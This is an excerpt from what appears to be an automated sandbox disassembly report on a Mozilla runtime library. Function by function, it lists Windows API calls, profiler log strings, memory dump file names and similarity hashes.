Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

GetCurrentThreadId.KERNEL32 ref: 6C52F577
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F585
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C52F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C52F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C52F499
[I %d/%d] profiler_resume, xrefs: 6C52F239

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 512ed42df1907f29adf1e5d8ede03f6d70f126301b90d0d9d3ae4ff638ed83fb
Instruction ID: d94d6c4a3b07a370093e845bfe2cca62cd058842a9334da80b564ecd152eef3a
Opcode Fuzzy Hash: 512ed42df1907f29adf1e5d8ede03f6d70f126301b90d0d9d3ae4ff638ed83fb
Instruction Fuzzy Hash: 08F054757002049BDB007B6FDC48A7AB7BDFBC625DF010115FA0587B62DB795C0587A9

Function 6C4F0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C4F0DF8), ref: 6C4F0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C4F0EA1
__Init_thread_footer.LIBCMT ref: 6C4F0EB5
FreeLibrary.KERNEL32 ref: 6C4F0EC5

Strings

kernel32.dll, xrefs: 6C4F0E7D
GetProcessMitigationPolicy, xrefs: 6C4F0E9B

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 843d8a8e0e5a5099c66dd60152acd183f6f2ac99cbfe5362f864ab37f5c1ef95
Instruction ID: 98757044cf95838854abde7460bfe8404c757c223e941313b7d2732f8f0d8312
Opcode Fuzzy Hash: 843d8a8e0e5a5099c66dd60152acd183f6f2ac99cbfe5362f864ab37f5c1ef95
Instruction Fuzzy Hash: 70014F70B14281CBDF00DF9ECD14F61B3B5F786319F120615E91182F60DF70A8559A89

Function 6C52F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C52F598), ref: 6C52F621

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

GetCurrentThreadId.KERNEL32 ref: 6C52F637
AcquireSRWLockExclusive.KERNEL32(6C56F4B8,?,?,00000000,?,6C52F598), ref: 6C52F645
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8,?,?,00000000,?,6C52F598), ref: 6C52F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C52F62A

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 0ea591a7487008eef3d0855f1821f8938cc6016f5c0f654d4f48302828a53a5a
Instruction ID: b0723c4a79e8e143f90733836ee0d57e18b0f4fb3576489299a556f9f0b12c9c
Opcode Fuzzy Hash: 0ea591a7487008eef3d0855f1821f8938cc6016f5c0f654d4f48302828a53a5a
Instruction Fuzzy Hash: F9F03075600204ABDB007B6A9C48A6AB7BDEBC625DF010115FA0583B61DB7A5C0587A9

Function 6C5205F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C51CFAE,?,?,?,6C4E31A7), ref: 6C5205FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C51CFAE,?,?,?,6C4E31A7), ref: 6C520616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4E31A7), ref: 6C52061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4E31A7), ref: 6C520627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C52061B, 6C520625
<jemalloc>, xrefs: 6C5205FA, 6C52060F

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: cb07e66d94fb845bd67431255340c0d9ae7b662bda7f11a3c7ffafe4f7af6b2e
Instruction ID: 0e4822eea245a0990d91c8e11f7075621444111ca73187ea344127d78b5e5728
Opcode Fuzzy Hash: cb07e66d94fb845bd67431255340c0d9ae7b662bda7f11a3c7ffafe4f7af6b2e
Instruction Fuzzy Hash: 8BE08CE2A0101437F514225AAC86DBB7A1CDBCA634F09003AFD0D82301EA4ABD2E91F6

Function 6C4F05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbfce7645f8722ac28c75ccdd2e77f997911338116a4fed990211db3ca1a73e2
Instruction ID: 1c9077d49a51d0b8c871e3be3644cec24fe66bc39e860c7caf900e3d7b385af0
Opcode Fuzzy Hash: fbfce7645f8722ac28c75ccdd2e77f997911338116a4fed990211db3ca1a73e2
Instruction Fuzzy Hash: 2AA139B0A01645CFDB24CF29C994E9AFBF1BF88304F4486AED45997B11E730A946CF90

Function 6C5414A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5414C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5414E2
GetCurrentThreadId.KERNEL32 ref: 6C541546
InitializeConditionVariable.KERNEL32(?), ref: 6C5415BA
free.MOZGLUE(?), ref: 6C5416B4

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: d419aabad9ea59b531d33756d6fe51a5c8ec0179502f39903ca5b2bf0d95c851
Instruction ID: 51e93981aa3a1f01a84f2b8ff13cec207a0c9ef9dcde76421b2b62f8db7f4536
Opcode Fuzzy Hash: d419aabad9ea59b531d33756d6fe51a5c8ec0179502f39903ca5b2bf0d95c851
Instruction Fuzzy Hash: 9061ED72A00710DBDB119F25CC80BEBB7B0BF89308F45951CED8A57612EB31E998CB95

Function 6C539F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C539FDB
free.MOZGLUE(?,?), ref: 6C539FF0
free.MOZGLUE(?,?), ref: 6C53A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C53A0BE
free.MOZGLUE(?,?), ref: 6C53A0D5
free.MOZGLUE(?,?), ref: 6C53A0EB

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: e56afe2618c09e5a1f7547d397b6257b26e5605063725459d34b255c451aa33b
Instruction ID: 03327d1c14fcc8adb48cb613d8aefb7592dba75bafc3ffe989c50f98b315fdeb
Opcode Fuzzy Hash: e56afe2618c09e5a1f7547d397b6257b26e5605063725459d34b255c451aa33b
Instruction Fuzzy Hash: FB61DF75508601DFC711CF58C88059AB3F5FFC8328F509659E8999B702EB32E986CBC1

Function 6C53DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C53DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C53D38A,?), ref: 6C53DC6F
free.MOZGLUE(?,?,?,?,?,6C53D38A,?), ref: 6C53DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C53D38A,?), ref: 6C53DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C53D38A,?), ref: 6C53DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C53D38A,?), ref: 6C53DD4A

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 69c2b38937f7c16f6c1f360a484dc51b4c0eac654325a72ec6485e956a2f7ba7
Instruction ID: ddf7e281d87ce0e28d2f44fc6f33076d0cf9720df243407d2651504ed259488e
Opcode Fuzzy Hash: 69c2b38937f7c16f6c1f360a484dc51b4c0eac654325a72ec6485e956a2f7ba7
Instruction Fuzzy Hash: 48416DB5A00619CFCB00CFA9CC84A9AB7F6FF88314B555569E949ABB11E771FC01CB90

Function 6C53C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C53C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C53C842

Part of subcall function 6C53CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C55B5EB,00000000), ref: 6C53CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C53C863
std::_Facet_Register.LIBCPMT ref: 6C53C875

Part of subcall function 6C51B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C55B636,?), ref: 6C51B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C53C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53C8BC

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: f80140f415ebee31d12a85b3f93d52399d9a5992735d0d58eb113c25ce75bb71
Instruction ID: e07942a3f1e9c793981b7a82dc69f8e7014e1283f346070f7958cb788b4d4295
Opcode Fuzzy Hash: f80140f415ebee31d12a85b3f93d52399d9a5992735d0d58eb113c25ce75bb71
Instruction Fuzzy Hash: 3E118975B002159BCF00EF69CC899BEBB75FF89354F010229E9069B751EB30AD05CBA5

Function 6C51F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C51F480

Part of subcall function 6C4EF100: LoadLibraryW.KERNEL32(shell32,?,6C55D020), ref: 6C4EF122
Part of subcall function 6C4EF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4EF132

CloseHandle.KERNEL32(00000000), ref: 6C51F555

Part of subcall function 6C4F14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C4F1248,6C4F1248,?), ref: 6C4F14C9
Part of subcall function 6C4F14B0: memcpy.VCRUNTIME140(?,6C4F1248,00000000,?,6C4F1248,?), ref: 6C4F14EF

Part of subcall function 6C4EEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C4EEEE3

CreateFileW.KERNEL32 ref: 6C51F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C51F523

Strings

\oleacc.dll, xrefs: 6C51F4CB

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 3bc5bbd4351e5ab2dccda984139429476a57bc020b2441329b114744f4f4d0be
Instruction ID: 2b6df71720de6e960d0d1b77e0315eb4c97d3c03b4cbe1cd9860ce96cdca037d
Opcode Fuzzy Hash: 3bc5bbd4351e5ab2dccda984139429476a57bc020b2441329b114744f4f4d0be
Instruction Fuzzy Hash: 8541A0706087109FE720DF29CC88A9BB7F4AF84318F510B1CF59187A51EB70D9498B92

Function 6C52E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52E04F

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C52E057

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 33bbf47cd7f79a14656571ddcd1d5d369cf23c17157ac95d609cd00c68ffd885
Instruction ID: b6f12a087dc42bbc62ae4da62ca9268c8c46ffbc7e3bfebe070f76c4e816a8c4
Opcode Fuzzy Hash: 33bbf47cd7f79a14656571ddcd1d5d369cf23c17157ac95d609cd00c68ffd885
Instruction Fuzzy Hash: 2121AC74A011088FDF00AB79CC58AAEB7F5AF85219F140429E90A97781DB79AD0AC7E1

Function 6C5474A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C547526
__Init_thread_footer.LIBCMT ref: 6C547566
__Init_thread_footer.LIBCMT ref: 6C547597

Strings

kernel32.dll, xrefs: 6C547557
UnmapViewOfFile2, xrefs: 6C547552

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: eb6a463877521a479356bb86355de6552e12742f70d318e6181b65245cf7ff0d
Instruction ID: 291b791221e4bd84465a25e7a3abdf24c7f4014fef3936539396763c276cad09
Opcode Fuzzy Hash: eb6a463877521a479356bb86355de6552e12742f70d318e6181b65245cf7ff0d
Instruction Fuzzy Hash: 1D210732F05541DBDA15CFAACC58FA973B5FB863A4F028629E40587F50DB31AC05C699

Function 6C54A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56F770,-00000001,?,6C55E330,?,6C50BDF7), ref: 6C54A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C50BDF7), ref: 6C54A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C50BDF7), ref: 6C54A7E4
LeaveCriticalSection.KERNEL32(6C56F770), ref: 6C54A80A

Strings

accelerator.dll, xrefs: 6C54A7BF

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ffc234ac2e9176f42034d76fce088393e1342fc6c5a03b3d6696f0d347ea0a32
Instruction ID: 4bbf6a2fcfa8053af8f0ffcf755a7d0dbddf24919085e12229663e040c84421e
Opcode Fuzzy Hash: ffc234ac2e9176f42034d76fce088393e1342fc6c5a03b3d6696f0d347ea0a32
Instruction Fuzzy Hash: DA016271A103049FDF44DF5ADC84E61B7B8FB8A355706C17AE9098B762DB71AC04CBA1

Function 6C5475B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C54748B,?), ref: 6C5475B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5475D7
FreeLibrary.KERNEL32(?,6C54748B,?), ref: 6C5475EC

Strings

RtlNtStatusToDosError, xrefs: 6C5475D1
ntdll.dll, xrefs: 6C5475B3

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: fa5ef25afd686902c7669cf0fa2068358763c8fc8ba326ccd88ea5f6bb077e0a
Instruction ID: 9ce334df4eeca58a0c475155c0a4bdf2a6453220e5b00e806651bf52557ebca0
Opcode Fuzzy Hash: fa5ef25afd686902c7669cf0fa2068358763c8fc8ba326ccd88ea5f6bb077e0a
Instruction Fuzzy Hash: 1AE0BF72B04311ABDF006FABCC48761BAF8E746355F124125F905D5631EB708445DF18

Function 6C547600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C547592), ref: 6C547608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C547627
FreeLibrary.KERNEL32(?,6C547592), ref: 6C54763C

Strings

NtUnmapViewOfSection, xrefs: 6C547621
ntdll.dll, xrefs: 6C547603

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 2c9418d1da37eda392a955a4fec3144e7b34f0c6d80d4fbec70d2ffd258f94ef
Instruction ID: df80018ef8c2d896fce80872daa5e32e86658962ffc4f15cd1fc6e06bdbcc66e
Opcode Fuzzy Hash: 2c9418d1da37eda392a955a4fec3144e7b34f0c6d80d4fbec70d2ffd258f94ef
Instruction Fuzzy Hash: 05E09A71B003019BDF106BAF8C08725BAB8E71639AF029215E905D1630E770C4049B1C

Function 6C54BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C54BE49), ref: 6C54BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C54BEDE
